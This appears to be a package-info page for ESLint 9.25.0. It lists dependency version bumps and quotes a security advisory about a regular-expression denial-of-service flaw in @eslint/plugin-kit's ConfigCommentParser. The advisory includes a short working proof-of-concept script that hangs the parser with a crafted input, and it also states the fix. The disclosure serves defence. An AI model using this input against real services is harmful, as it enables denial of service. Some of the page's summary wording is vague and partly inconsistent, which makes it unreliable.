ESLint 9.25.0 represents a subtle but noteworthy update to the popular JavaScript linting tool. The core functionality of ESLint, centered around AST-based pattern checking, remains consistent, ensuring that existing configurations and rulesets continue to function as expected. Diving into the dependency updates, we find that @eslint/js progresses from version 9.24.0 to 9.25.0, likely incorporating incremental improvements to the built-in JavaScript language options. Crucially, @eslint/core sees a bump from v0.12.0 to v0.13.0, suggesting enhancements to the core linting engine itself, potentially involving performance tweaks, bug fixes, or new internal APIs for plugin developers. @eslint/plugin-kit advances from 0.2.7 to 0.2.8. Meanwhile, @eslint/config-helpers goes from 0.2.0 to 0.2.1. A key point is the updated @trunkio/launcher - going from 1.3.0 to 1.3.4, a devDependency that may be interesting only for contributors. The file count remain the same, but the unpacked size of the libraries vary 3MB. These evolutions collectively contribute to a more refined and robust linting experience for developers, ensuring code quality and consistency in JavaScript projects. The update involves some release date improvement.
All the vulnerabilities related to the version 9.25.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.